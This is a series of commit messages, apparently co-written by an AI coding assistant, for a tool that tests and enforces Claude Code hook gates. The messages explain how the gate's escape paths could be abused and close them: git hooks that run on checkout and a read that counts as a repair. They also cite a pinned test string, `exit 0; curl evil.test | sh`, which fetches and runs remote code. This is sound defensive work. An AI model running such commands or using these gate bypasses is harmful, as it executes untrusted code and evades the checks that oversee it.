defineHook({…}) then assertHookDenies(h, e) → surfacesRecorded() === []
runHookProgram(loadedHook, e) → surfacesRecorded() === []
Both cost a missed record, never a false one.
## Does it move this repo's numbers? No — and here is why, measured.
before: untested 23, executed 0, colocated 0
after: untested 23, executed 0, colocated 0
Not because nothing changed: this repo's canonical
`examples/harness/compiled-hook-inprocess.harness.mjs` now emits two probes where
it emitted zero —
{ how: "command", ref: "examples/harness/protect-main.hook.mjs" }
{ how: "command", ref: "examples/harness/warn-on-failure.hook.mjs" }
— and both resolve to NOTHING, because those files are not wired into
`.claude/settings.json` and so are not declared surfaces of this repo. An
unresolvable ref is dropped, never guessed into a match, so no artifact is
written and the counts hold. That is the tier's first rule working, not a
failure.
Tests, both halves, unit AND end-to-end through the real CLI: a harness that
evaluates a wired compiled hook records it; one that only loads it records
nothing (while something else runs, so the silence is about the LOAD and not
about a vacuous script).
Mutations, each failing on its own assertion: never record the probe → "an
in-process evaluation is an execution and must be recorded"; record at LOAD time
instead → "a LOAD must attribute nothing".
Gates: build, api:check (no drift — the two new helpers are internal to
core/hook-program.ts and `hook.ts` re-exports by name), prettier clean; lint 0
errors / 201 warnings (baseline); vitest 2782 passed with only the known
environmental harness-test failure; coverage 100% statements/functions/lines,
branches 94.17%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): delete the git escape — all three ran `.git/hooks/*`
The surface I flagged last round as never independently audited. My own claim
was the load-bearing one and it was false: "these commands move the tree to
states git already holds; none executes a line of repo code."
MEASURED, git 2.43.0, hooks installed in `.git/hooks/`:
git checkout -- f.txt → post-checkout (<sha> <sha> 0)
git merge --abort → reference-transaction (prepared, committed)
git rebase --abort → reference-transaction (×4) + post-checkout
`reference-transaction` fires on ANY ref update, and every one of these updates a
ref — so the whole whitelist was an arbitrary-execution path standing open
precisely while the gate enforced nothing, writable by exactly the actor the door
assumes. Same shape as the compile escape one layer down: a command believed
inert because of what it MEANS rather than what it DOES.
(My first neutralisation measurement was contaminated — the log captured the
SETUP command's hooks, not the guarded one. Re-run with the log cleared
immediately before each guarded command; the corrected numbers are above.)
## The two remedies, both measured
1. `git -c core.hooksPath=/nonexistent …` DOES suppress all three (no hook ran
for any of them). Rejected anyway: it puts free-form structure back into the
accepted string — the exact thing five findings on the compile door came from
— and it buys nothing, because of (2).
2. A FILE WRITE already un-wedges the repo. Measured on the load-wedge fixture:
wedged : `ls` refused
after Edit : `ls` allowed, `git push --force` DENIED ("no force-push")
You do not need to finish recovering, only to stop being wedged. Once the hook
loads the gate decides normally, and `git merge --abort` is an ordinary
allowed command — through the gate rather than around it.
So the git escape goes the way of the compile escape. `isRecoveryEvent`,
`isGitRecoveryLeaf` and `allLeavesAre` are deleted; NO command is an escape now.
## What replaces it
`isLoadPathRepairEvent` — a write to the hook's own source, its stamp sidecar, or
one of `HARNESS_CONFIG_FILES` (`package.json`, `.vigilesrc.json`). That set is
COMPLETE for a compiled hook rather than a guess: `checkHookImports` rejects every
import but `vigiles/hook`, so the load path is the hook file plus the config that
resolves that specifier — nothing else can break it. A write executes nothing,
which is the property no command on this door ever had.
The refusal now names the files to fix, says a write is the way out, and says why
no command is allowed (`.git/hooks` for git, the failed resolver for compile).
`docs/compiled-hooks.md` rewritten to match.
## Tests
Both halves, with a REAL installed git hook rather than the git docs: a new test
builds a repo, installs `post-checkout`/`reference-transaction`, and watches them
fire — so the premise is checked, not remembered. Through the real runtime: every
command refused (including the `core.hooksPath` spelling), the load-path write
allowed, and the write shown to restore ENFORCEMENT.
Mutations, each on its own assertion: restore the git escape → the refusal tests
fail; drop the config-file half → the wedge has no way out.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2782 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.17%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-repair): bind repair writes to THIS repo; stop crediting a shell that never launched
Two findings, the same shape one layer apart: a property asserted about the
ACTION while the SCOPE of that action went unchecked.
## 1 (P1) — a repair write was accepted in any checkout on the disk
`samePathRef` matched by SUFFIX, so `/home/another-project/package.json` counted
as a repair of this repo's `package.json`. My defence last round — a write
executes nothing — was true and answered a different objection. It does not
license writing into a checkout the wedged session has nothing to do with, and
that file cannot repair the failure anyway.
Both sides are now RESOLVED against a root and compared whole (`resolveRef`,
still no `node:path` in core). The tolerance the suffix match was reached for
survives untouched: the harness sends an absolute `file_path` while settings
carry a relative one, and resolution is the correct way to match those.
The identical hole existed on the STAMP door (`isStampRepairEvent`) and is
closed with it — unreported, same helper.
### The hook's own path does NOT give a reliable root, so the caller passes it
Asked, and the answer is no. A hook sits at `.claude/hooks/`, `.vigiles/hooks/`,
a plugin subdirectory or the repo root; there is no fixed depth to walk up, and
a `.git` probe would be a disk read core does not do. Nor would a git-derived
root be RIGHT: `verifyStampOrRefuse` reads the hook and its stamp sidecar
through `process.cwd()`, so any other root would accept writes to files the
runtime never reads — repairs that do not repair. The root is `process.cwd()`,
supplied by cli.ts, and the accepted files are the ones the runtime itself
derived (`hookLoadPathFiles`). Required parameters, so the loose form is
inexpressible.
### …and the obvious narrowing would have RE-WEDGED the repo
"Refuse anything outside cwd" is wrong. MEASURED against this runtime, hook at
`gp/p/repo/.claude/hooks/`, conflict markers planted at one ancestor:
repo pkg PRESENT, parent conflicted → loads fine
repo pkg absent , parent conflicted → WEDGES, cause `../package.json`
repo pkg absent , parent absent, gp broken → WEDGES, cause `../../package.json`
repo pkg PRESENT, parent absent, gp broken → loads fine
repo pkg absent , parent HEALTHY, gp broken → loads fine
Node walks up and stops at the first `package.json` that EXISTS. An ancestor
above the repo root can wedge the load, and the runtime names it as the cause
while refusing the write that fixes it — this branch's own defect, reintroduced
by a security fix. So the accepted set is that chain, and `hookLoadPathFiles`
now stops walking at the first existing `package.json` too: `/home/package.json`
and `/package.json` are no longer accepted from any wedged repo on the machine,
because Node never opens them.
## 2 (P2) — an unconditional probe credited a hook that only `/bin/sh` ran
`spawnSync(cmd, { shell: true })` does not throw when the shell cannot start the
program, so a harness asserting that failure passed and the probe attributed a
surface anyway.
The numbers are MEASURED here, not taken from the report — `/bin/sh` is dash:
126 | direct non-executable | ./noexec.sh | out=""
127 | direct missing | ./missing.sh | out=""
127 | bare unknown command | nosuchcmd-xyz | out=""
127 | bad shebang (exists, +x) | ./badshebang.sh | out=""
126 | is a directory | ./ | out=""
3 | real hook, exit 3 | ./exit3.sh | out="ran"
Only 126/127 suppress the probe; 0/1/2/3/125/128/255 and a signal death all
still attribute, because a hook that runs and exits non-zero HAS executed.
Deliberately missed, all toward SILENCE, all measured:
2 | sh ./missing.sh | out="" ← dash's code, = Claude Code BLOCK
0 | sh ./noexec.sh | out="ran" ← the interpreter READS it; it ran
0 | bash ./noexec.sh | out="ran" ← same
127 | ./ok.sh && ./missing.sh | out="ran" ← a leaf ran, the line reports 127
`sh <missing>` cannot be encoded: exit 2 is indistinguishable from a gate
legitimately denying. It is also near-moot — a path that does not exist was
never discovered as a surface, and `resolveProbe` matches only discovered ones.
### Two fixtures were credited by this bug and are now real
`run-scripts.test.ts` ran `bash hooks/guard.sh` with no such file, and
`check-count.test.ts` pointed `$GUARD` at `/repo/hooks/guard.sh`, a path that
exists nowhere. Both asserted attribution over a hook that never launched. They
now create real executables and assert the exit code.
## Verification
Mutation-checked across the whole relevant test set, six mutations, each failing
on its OWN assertion: suffix match restored on the load-path door · on the stamp
door · launch check removed · launch check widened to "any non-zero" · repairs
clamped to inside the root · the package.json walk left unbounded.
Gates: build, `npx vitest run` (2787 passed; only the environmental
`a blocking Stop hook forces the agent to keep working`), `npm run api:check`
(no drift), `npm run lint` (0 errors / 201 warnings), prettier, coverage
100/100/100 lines-statements-functions, branches 94.19%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(nudge): the eval-tier question is per SURFACE — an agent is not a skill
Fourth instance of "the remedy does not apply to the thing it is aimed at", and
the first one where the aim was a whole surface kind rather than a flag.
`skillTestNudge` disables only hooks, so an AGENT reaches the never-evaluated
branch exactly as a skill does — and was handed the skill's sentence: that its
description must "FIRE", remedied by `measureTriggerRate`. Both halves are wrong
for an agent, and the second is not merely unhelpful.
## 1. What the repo's own guidance actually says (asked before writing)
The finding says `runEval`. `docs/rules/untested-subagent.md` said something
weaker and ambiguous: "a `runHarnessTest`/eval that asserts the agent stayed
within its allowed tools (`notTool`) or a `subagent(...)` nested-trace check."
That names the DETERMINISTIC tier first and lumps "eval" in behind a slash — and
this branch fires precisely when deterministic coverage ALREADY EXISTS, so as
eval-tier advice it is useless. The guidance was not wrong so much as unable to
answer the question the nudge asks, which is how the nudge came to borrow the
skill's answer. Fixed in the same commit: the doc now splits the tiers (same
assertions, different model) and states the limits below.
## 2. `measureTriggerRate` cannot address an agent — measured, no model spent
```
packageSkillsDir("<repo>/agents") → THREW: No <name>/SKILL.md skills
found under <repo>/agents
measureTriggerRateWith({ pluginDir: <an → rate = 0 | competitors = 0
agents-only plugin> }, fakeRunner)
```
It installs `<name>/SKILL.md` skills and decides "fired" by skill SELECTION
(`skillResolved`). The loose-skills form throws; the plugin form returns a NUMBER
for a surface it never installed — the same "worse than an error" the sibling
driver note one branch up already exists for.
"Does Claude pick this subagent when it should?" is a real question; vigiles has
no API for it. The nudge says so rather than implying one.
## 3. …and the obvious rewrite would have been instance FIVE
`runEval` / `measure` / `measureArms` all hard-wire `spawnAgent`, and
`runEvalWith` is not exported from `vigiles/testing` — `measureTriggerRate` is
the ONLY public call with an `{ evalDriver }` seam. Writing
`runEval(spec, { evalDriver })` by symmetry with the skill arm would have
suggested an argument the function does not take. The agent arm states the limit
instead: those calls drive Claude Code, so on another harness this tier has no
public dispatch yet. (Codex has no subagent dir at all — `agentDir: ""` — so in
practice this concerns OpenCode, which has agents and no eval driver.)
## 4. `kind` or a capability? Both — the capability is a total function of kind
The real predicate is "can the trigger tier install and observe this surface?",
and today that is decided by the tier's installer being `<name>/SKILL.md`-shaped.
So it is stated once per kind in `evalTierQuestion`, not inferred at the call
site, and the switch is exhaustive with `assertNever`.
What happens to a fourth kind tomorrow — measured, not asserted. Adding
`| "command"` to `SurfaceKind`:
src/test-coverage.ts(882,26): error TS2345: Argument of type '"command"' is
not assignable to parameter of type 'never'.
It does not silently inherit the skill's sentence; it fails to compile at the one
place that has to change. `hook` returns null on purpose: a hook is deterministic
by construction (`runHook` answers it free at the unit tier), and the arm exists
so a caller that DOES ask gets silence rather than the skill's text.
## Verification
Four mutations, run across the whole relevant test set
(`test-coverage` + `cli-nudge-config` + `cli-harness-resolution`), each failing
on its own assertion: collapse every kind back to the skill sentence · drop the
no-public-dispatch clause · let the hook arm fall through to the skill sentence ·
add a fourth `SurfaceKind` (compile-time).
Gates: build · full suite with coverage 2791 passed, 0 failed (the environmental
Stop-hook test skipped per the coverage protocol) · coverage 100/100/100
lines-statements-functions, branches 94.19% · `api:check` no drift
(`test-coverage.ts` is not on a public entry) · lint 0 errors / 201 warnings ·
prettier.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a name is not an identity, and a list stops at `exit`
Two false grants, and the first is the third appearance of one idea.
## 1 (P2) — the bottom rung of `resolveProbe` matched by bare NAME
Executing `/tmp/guard.sh` in a passing harness credited the repo's sole
`hooks/guard.sh`. The rung threw the ref's directories away, which is the same
substitution this PR has already removed twice: the coverage metric's "mention"
tier (deleted — 9 of 10 covered surfaces, ≥3 falsely) and the foreign-runner
gate's identifier search (replaced by a call site).
### Measured first, because the question was whether it should exist at all
`vigiles test` over all 13 example harnesses, instrumented per rung:
basename → miss examples/harness/protect-main.hook.mjs
basename → miss examples/harness/warn-on-failure.hook.mjs
basename → miss /workspace/…/test/dogfood/oh-my-claudecode@deee3a4/scripts/run.cjs
exact : 0 calls
suffix : 0 calls
A second real corpus (a 43-harness consumer repo) produced ZERO command probes.
So no rung has granted coverage on any corpus available here, and the bottom rung
CANNOT be justified by what it has resolved. The third line is the live near-miss
that settles the direction: a VENDORED third-party script reached the loose rung
and would have credited a hook of this repo named `run.cjs`, had one existed.
### Why it is narrowed rather than deleted
The two earlier deletions removed matches on a PROJECTION of the evidence — a
name pulled out of a file, an identifier pulled out of a module — discarding what
the rest of it said. The replacement discards nothing: the ref must be a TAIL of
the surface path, so every segment it carries has to lie on that path, and a ref
carrying none contradicts none. `/tmp/guard.sh` resolves to nothing because no
repo-relative surface path can end in `//tmp/guard.sh`.
The new rung is a strict SUBSET of the old (tail alignment implies equal
basenames), so it can only remove grants. It keeps the one shape the corpus
cannot show but this repo's own advice produces: a harness run with `{ cwd }`
inside the repo names `guard.sh`.
## 2 (P2) — statements after an unconditional terminator
`exit 0; bash hooks/pre.sh` credited a hook the shell exits before launching. The
descent knew which children always execute; it did not know where a list stops.
MEASURED, bash 5.2 and dash, with a filesystem marker — the first attempt read
`exec > /dev/null` as "did not run", which was the redirect swallowing the echo:
exit 0; ./x.sh bash x NOT run dash x NOT run
return 0; ./x.sh bash x RAN dash x NOT run ← disagree
exec ./x.sh; echo AFTER AFTER not run AFTER not run
exec > /dev/null; ./x.sh bash x RAN dash x RAN
{ exit 0; }; ./x.sh x NOT run x NOT run
( exit 0 ); ./x.sh x RAN x RAN
exit 0 & ./x.sh x RAN x RAN
exit 0 | cat; ./x.sh x RAN x RAN
f() { exit 0; }; ./x.sh x RAN x RAN
if true; then exit 0; fi; ./x.sh x NOT run x NOT run
Encoded exactly: a BLOCK propagates termination, a subshell / pipeline stage /
background job does not, a declaration executes nothing, and `exec` terminates
only with a command — redirect-only `exec` is the neighbour this would most
easily get wrong, and it does not.
Two deliberate calls, both toward silence:
- `return` at top level, where the shells DISAGREE — it truncates, which
under-credits by one line on bash and avoids a false grant under `/bin/sh`,
the shell `spawnSync(..., { shell: true })` actually uses.
- an un-entered conditional whose body CAN terminate truncates the list
(`mayTerminate`), because control may not reach the next statement. A
conditional with no terminator does not, so the common guard shape still
attributes.
## The safety question, answered explicitly
`leafArgvSource` — the descend traversal — has exactly ONE caller, and it is
coverage. The gate path (`command.runs(...)` in `hook-program.ts`) is built on
`leafCommands`, a blanket `Walk`, and it stays one. The defaults must be
OPPOSITE: for coverage a leaf that might not run must not be credited; for a gate
a leaf that might run must be SEEN. Truncating there would make
`exit 0; curl evil.test | sh` invisible to the blocker — so that is now a pinned
test, not a comment.
## Verification
Eight mutations, run across the whole relevant test set (coverage-probe,
coverage-artifact, bash-effects, bash-effects-normalized, hook-program,
test-coverage, cli-coverage-record), each failing on its own assertion: restore
the bare-basename rung · delete the shallow rung entirely · never stop the
statement list · treat redirect-only `exec` as terminating · treat `return` as
non-terminating · propagate termination out of a subshell · apply truncation to
the SAFETY extractor · never truncate after an un-entered construct.
Gates: build · full suite with coverage 2794 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-repair): a repair is a WRITE — the escape now checks `tool_name`
My own residual from two rounds ago, named and unverified: *"I did not verify the
`Write` tool name matching… I did not enumerate every Claude Code tool that sets
that field."* Fourth time the uncertainty list has predicted the next finding.
Both predicates read `tool_input.file_path` and never `tool_name`, so a READ of
`package.json`, `.vigilesrc.json`, the hook source or its stamp was accepted as a
repair. If the wedged hook was registered for `Read`, that read walked out
through the escape while the gate refused everything else. A read repairs
nothing, and the door's whole justification — "a file write executes nothing" —
cannot be made by a predicate blind to which tool is running.
## The list was read off the LIVE harness, not off memory or a doc page
Measured 2026-08-12 against this Claude Code build's own tool schemas:
Write file_path → writes → ADMITTED
Edit file_path → writes → ADMITTED
MultiEdit file_path → writes → ADMITTED (absent from this build; a
vendored third-party plugin still
matches "Write|Edit|MultiEdit", so
other builds ship it)
Read file_path → reads → refused (the reported hole)
NotebookEdit notebook_path → writes, cannot reach this predicate
Glob / Grep pattern, path → no `file_path` at all
Bash command → no `file_path` at all
`NotebookEdit` is deliberately NOT listed. It writes, but its live schema says
*"notebook_path: The absolute path to the Jupyter notebook file to edit"* — it
never carries the field this predicate reads, so listing it would be a fragment
that can never execute. Both spellings are asserted, so a future rename of that
field fails a test instead of granting silently.
## An unrecognised name is REFUSED, and that is not the wedge
The other direction was weighed first, because "refuse everything outside cwd"
was rejected two rounds ago for making a wedged repo unrecoverable. The objection
does not land here: this list does not have to be COMPLETE, only NON-EMPTY at
runtime. A new writing tool appearing wedges nothing — the author still repairs
with `Write`. Only the simultaneous disappearance of `Write`, `Edit` and
`MultiEdit` could strand a repo.
Admitting unknown names was the alternative and it forfeits the sentence this
door rests on: with an unrecognised tool we cannot say the call executes nothing.
## The stamp door had the SAME hole, checked rather than assumed
It did — exactly as the suffix-match pair did last round. Both now go through one
`repairTargetOf` helper, so they cannot drift apart again; mutating the tool check
out of the stamp door alone fails both the unit and the real-runtime test.
The refusal message and `docs/compiled-hooks.md` now name the admitted tools, so
an author whose `Read` bounced is not left guessing why the documented escape did
nothing.
## Verification
Five mutations, run across the relevant test set (hook-program, hook-load-wedge),
each failing on its own assertion: ignore `tool_name` entirely (the reported
defect) · hard-code `Write` only · admit unknown names (fail open) · leave the
stamp door blind · add `NotebookEdit` to the list.
Gates: build · full suite with coverage 2796 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a fired HOOK label is not a skill — resolve within the kind
Same "a name is not an identity" family as the last two rounds, one boundary
further out: the within-kind form was closed at the command rung (tail alignment,
not bare basename); this is the CROSS-kind form, where the probe knew its origin
and the lookup threw it away.
`traceRefs` recorded Claude Code's hook label as a `fired` probe; `resolveProbe`
stripped the prefix and searched EVERY surface kind. A uniquely named skill or
agent therefore got fresh execution coverage because a hook fired.
## 1. What a `fired` probe can come from, read rather than inferred
Two producers, and only two — `probeTrace` is the sole caller of `traceRefs`, and
`recordSurfaceProbe` has exactly three call sites:
Skill tool call → `call.input.skill` → `plugin:name` → names a SKILL
hook fire → `HookFire.name` → `Event:Matcher` → names NO file
`HookFire.name` comes from one place: `parseHooks` reading Claude Code's
`hook_response` stream event. Codex and OpenCode return `hooks: []`, so there is
no third shape today.
MEASURED 2026-08-12 — the ENTIRE `fired` population of `vigiles test` on this repo
AND on a 43-harness consumer repo, no model spent. All fourteen are hook labels;
not one is a skill activation:
8× SessionStart:startup → strips to `startup`
2× PostToolUse:Write → strips to `Write`
2× PreToolUse:Write → strips to `Write`
2× UserPromptSubmit → no colon, so the WHOLE label is the name
The old comment claimed such a label "resolves to no surface and is dropped by
the runner — recording it costs nothing." The first half is right; the second was
never checked and is false.
## 2. Why it is not fixed by resolving hook labels within hooks
A label is an EVENT plus a tool-name pattern; a hook surface is a FILE. A repo
with `hooks/Stop.sh` and `hooks/cleanup.sh` both registered for `Stop` has the
`Stop` label match exactly one of them, and nothing says it is the one that ran.
So the label is dropped entirely. The one thing this stream could carry that WOULD
be evidence is a script path, and no harness reports one; if one ever does, it
belongs on the `command` origin, which already resolves paths within hooks.
`ProbeableTrace.hooks` stays on the shape, unread, on purpose: it is what lets the
negative be TESTED. Deleting it would delete the lock.
## 3. Does the command rung have the same leak? No — checked, not assumed
`resolveProbe`'s command branch filters `s.kind === "hook"` before any matching,
and an existing test pins it ("a command ref NEVER resolves to a non-hook
surface"). Verified by reading the branch, not by inference.
## 4. Do our own numbers move? No — and that is a checked nil
All four distinct labels resolved against both real surface sets:
vigiles (23 surfaces: 18 skills, 0 agents, 5 hooks) → [] for all four
mine (38 surfaces: 38 skills, 0 agents, 0 hooks) → [] for all four
Neither repo owns a surface by those names, so nothing was miscredited and
`Tested`/`Evaluated` are unchanged. The exposure is live rather than theoretical
— add ONE skill named `startup`, a name nobody would think twice about, and the
counterfactual against the real corpus is:
SessionStart:startup → ["skill skills/startup/SKILL.md"]
eight times per `vigiles test`.
## Verification
Three mutations across the relevant set (coverage-probe, coverage-artifact,
test-coverage, cli-coverage-record, harness-test), each failing on its own
assertion: record hook labels again · let the resolver search every kind again ·
widen `fired` to skills AND agents.
Gates: build · full suite with coverage 2797 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(foreign-runner): a name this file BINDS is not our API — and the gate now abstains
Sixth finding from this one file, which is data about the design rather than
about six bugs. Both are addressed: the reported false positive, and the question
of whether the gate's default is the right way round.
## The fix
`const runEval = vi.fn(); runEval();` was read as a real-model invocation and its
author told to rename a working unit test. A declaration is the dual of the
import rule that round 14 measured as unworkable here — and unlike that rule it
needs no module graph, because the binding is right there in the text.
`locallyBound` suppresses on a `const`/`let`/`var`/`function`/`function*`/`class`
declaration, a destructuring or array pattern, an `as NAME` alias, or a default
import. It is deliberately GENEROUS — every error it makes is toward silence, so
`export { x as runEval }` is matched even though a re-export is not a binding.
A plain `import { runEval } from "vigiles/testing"` is not matched: that binds OUR
name to OUR export, which is the case the gate exists for.
## …and one more class, removed on a measurement
A DOTTED name is somebody's property. The allowance existed for
`import * as v from "vigiles/testing"; v.runEval()` — that shape occurs in exactly
two places across every corpus available, and both are this gate's own comment and
its own test. Meanwhile `mock.runEval()` / `deps.runEval()` / `this.runEval()` are
ordinary. Dropping it costs a genuine namespace user ONE warning; the money guard
still refuses the spawn.
## Does the gate earn its keep? KEEP, TUNED TO ABSTAIN
Measured over three real corpora — this repo, a 43-harness consumer repo, five
vendored third-party plugin repos, 3 613 js/ts files:
findings 0
files under a surface dir AND collected by a default glob 2
…of those, with agent evidence 0
The two near-misses are this repo's `code-reviewer.md.spec.ts` and the consumer
repo's `.claude/skills/verify-citations/scripts/verify-cites.test.mjs` — the exact
file `untested-skill.md` already cites as "a good test of a bundled script, not a
test of a skill". The EVIDENCE rule is the only thing between its author and
"rename it". That is the gate's one demonstrated effect on a real repository, and
it is an effect of NOT firing.
The asymmetry the old tuning ignored: a missed warning costs one accidental paid
run — except `refuseUnderForeignRunner` already refuses at all four spawn doors,
so it costs only an earlier, friendlier notice. A false warning costs someone a
working test. Every finding this file has produced has been the second kind.
Residual false-positive surface, probed rather than estimated — three shapes still
fire, and it reduces to "the file calls a bare name it did not declare":
import { runEval } from "./my-own-helper.js"; runEval({}) → fires
function f(runEval) { runEval({}) } → fires (parameter)
export function t() { runEval({}) } → fires (also the
TRUE-positive shape)
🔴 The falsifiable part, recorded in the file: a SEVENTH false positive is not
another bug to fix — it is the measurement saying a lexical rule cannot be made
tight enough, and the answer then is to DELETE the gate and let the money guard be
the whole defence. Fix the next finding by narrowing or by deleting; adding a
shape rule that widens has been wrong six times.
## Verification
Three mutations across the relevant set (foreign-runner-tests, scan, audit-score),
each failing on its own assertion: drop the local-binding suppression (the
reported defect) · suppress on ANY mention (17 failures — the quiet halves do
guard against a fix that silences the gate) · restore the leading-dot allowance.
Gates: build · full suite with coverage 2798 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the owner is a position, the namespace is identity, and a dispatch is evidence
Three findings — two false grants and one false negative.
## 1 (P2) — `vigiles` accepted as a data operand
`echo vigiles hook-runtime run-program hooks/pre.sh` recorded execution coverage
for a hook `echo` merely PRINTED. The free-floating VERB was fixed one round ago;
the OWNER had the same hole one token over.
The owner must now sit where a program actually runs: `argv[0]`, or `argv[1]`
under a launcher. The `owner === entry` arm needs no position check — `entry` is
by construction the program the leaf runs, so the equality IS the position.
⚠️ THIS IS A LAUNCHER TABLE, and one was deleted from this repo on purpose
(`RUNNER_PREFIXES`, when the hook-recovery escape went). It is safe here and was a
liability there because the two decide different things. There it decided whether
to EXECUTE an attacker-chosen string, so a wrong entry granted arbitrary
execution. Here it decides whether to CREDIT a coverage line for a command the
harness author wrote about their own hook: a missing entry costs one line, and
there is no adversary, because the only thing to win is over-crediting yourself.
It is also ONE token, chosen by measurement. Every spelling across docs,
examples, README, src and two repos' `.claude/` dirs:
13× npx vigiles hook-runtime … → launcher, index 1
11× vigiles hook-runtime … → head, index 0
10× "$CLAUDE_PROJECT_DIR/…/vigiles/dist/cli.js" … → the `entry` arm
9× node /abs/dist/cli.js hook-runtime … → the `entry` arm
1× ./node_modules/.bin/vigiles hook-runtime … → head, index 0
Deliberately missed, run and pasted in the test: `pnpm dlx …` and `bunx …` both
yield []. No corpus contains either; one coverage line each.
## 2 (P2) — the plugin namespace was stripped and discarded
The THIRD axis of "a name is not an identity", after within-kind (a bare
basename) and cross-kind (a hook label reaching a skill). A run firing
`other-plugin:foo` recorded the audited repo's own unique `foo` as EXECUTED. The
whole-harness tier makes that ordinary rather than exotic: `installSet` exists to
co-install competitors so the skill under test competes, and a competitor firing
is the normal outcome of a low trigger rate.
A qualified ref carries MORE identity than the lookup used. It now resolves only
under a namespace that means THIS repo — the `.claude-plugin/plugin.json` name,
plus `vigiles-loose-skills`, the synthetic name OUR OWN packaging gives a loose
skills dir (`packageSkillsDir`, and `underTestSource`'s fallback). Omitting the
second would drop every trigger-rate record for the documented one-liner.
An UNqualified ref still resolves by name — it carries no namespace to
contradict, the same reasoning that kept the shallow rung on the command ladder.
A caller that cannot say which plugin it is drops every qualified ref rather than
guessing: it costs coverage, it never invents it.
## 3 (P2) — an agent could never earn an execution record
My own prediction from round 22, which is the fifth time that list has named the
next finding. This one is a false NEGATIVE, so the direction inverts: it ADDS
attribution, and the bar has to be as strict as the rest.
Evidence is a DISPATCH — a `tool_use` whose input carries `subagent_type` — on
its own `dispatched` origin, resolving only to AGENTS. Keyed on the input FIELD,
not the tool name, because the dispatch tool is named `Agent` on the live CLI and
`Task` in older docs; `parseSubagents` already keys on the field for that reason,
confirmed against real `claude` output, and this reuses that established fact
rather than inventing a second rule.
What it refuses: an ERRORED dispatch (the tool was reached and the agent was not
— the rule the `Skill` arm has always had), a call merely NAMED `Task` with no
`subagent_type`, and a non-string value. A new origin must not become a new leak,
so a dispatch cannot reach a same-named skill, and `fired` still cannot reach an
agent.
## Corpus effect: none, and it is checked
Both corpora have ZERO agent surfaces (vigiles 23 surfaces, mine 38), and round
22 measured zero skill activations in their deterministic runs — so no number
moves in either direction. The exposures are real; these two repos just do not
exercise them.
## Verification
Six mutations across the relevant set (coverage-probe, coverage-artifact,
check-count, cli-coverage-record, test-coverage), each failing on its own
assertion: accept the owner anywhere · strip the namespace again · drop the
dispatch probe · key the dispatch on the tool NAME · count an errored dispatch ·
let `dispatched` resolve to skills too.
Gates: build · full suite with coverage 2801 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(discovery): a hook rooted at the PROJECT var was invisible — one settings file, two readers, one wrong
The hook-discrepancy chase. Four numbers described the same repo and only one of
them was wrong.
## What each list was counting (real consumer repo)
19 hook ENTRIES in `.claude/settings.json` — one inline (`TZ=… date`), and
several sharing a script with different argv (`kb-lint.mjs post`/`stop`,
`paper-lint.mjs pre`/`post`/`sweep`/`stop`)
17 FILES in `.claude/hooks/` — two of which are not hooks: `hooks.harness.mjs`
(the test) and `lint-core.mjs` (a library the hooks import, never
registered)
16 what `audit` inventories — 15 distinct scripts + 1 inline — and EVERY one
printed as `? … (unresolved var — can't check)`
0 hook SURFACES, the list coverage resolves against
The honest number is **14**: the registered scripts under `.claude/hooks/`. It is
what the fix produces.
## The defect: vigiles knows the variable in three places and this reader did not
`hookScripts` stripped only `${CLAUDE_PLUGIN_ROOT}`, so
`"$CLAUDE_PROJECT_DIR/.claude/hooks/kb-lint.mjs"` — Claude Code's DOCUMENTED
spelling for a project hook, used because hooks do not run with a stable cwd —
kept its literal prefix, failed `existsSync`, and was dropped in silence.
`plugin-loader.ts` and `scan-files.ts` both carry `CLAUDE_PROJECT_DIR` in their
`NON_PLUGIN_VARS`, and `audit` names the variable in its own output. The audit
KNEW and declined to check; the surface reader did not know and dropped.
Reproduced on a four-way fixture before fixing:
plain `.claude/hooks/guard.sh` → [".claude/hooks/guard.sh"]
`$CLAUDE_PROJECT_DIR/…/guard.sh` → [] ← defect
`${CLAUDE_PLUGIN_ROOT}/…/guard.sh` → [".claude/hooks/guard.sh"]
`${CLAUDE_PROJECT_DIR}/…/guard.sh` → [] ← defect
The token now lives on the layout (`projectRootTokens`, optional, additive to
`vigiles/adapter`'s `PluginLayout`) beside `pluginRootToken`, because it is a
per-harness spelling — not a constant hard-coded into shared code.
## …and a dependency is not a surface
The same settings name the runtime that runs the compiled hooks
(`node_modules/vigiles/dist/cli.js`). Holding that to `untested-hook` would ask
the author to test their package manager, so `node_modules/` paths are excluded.
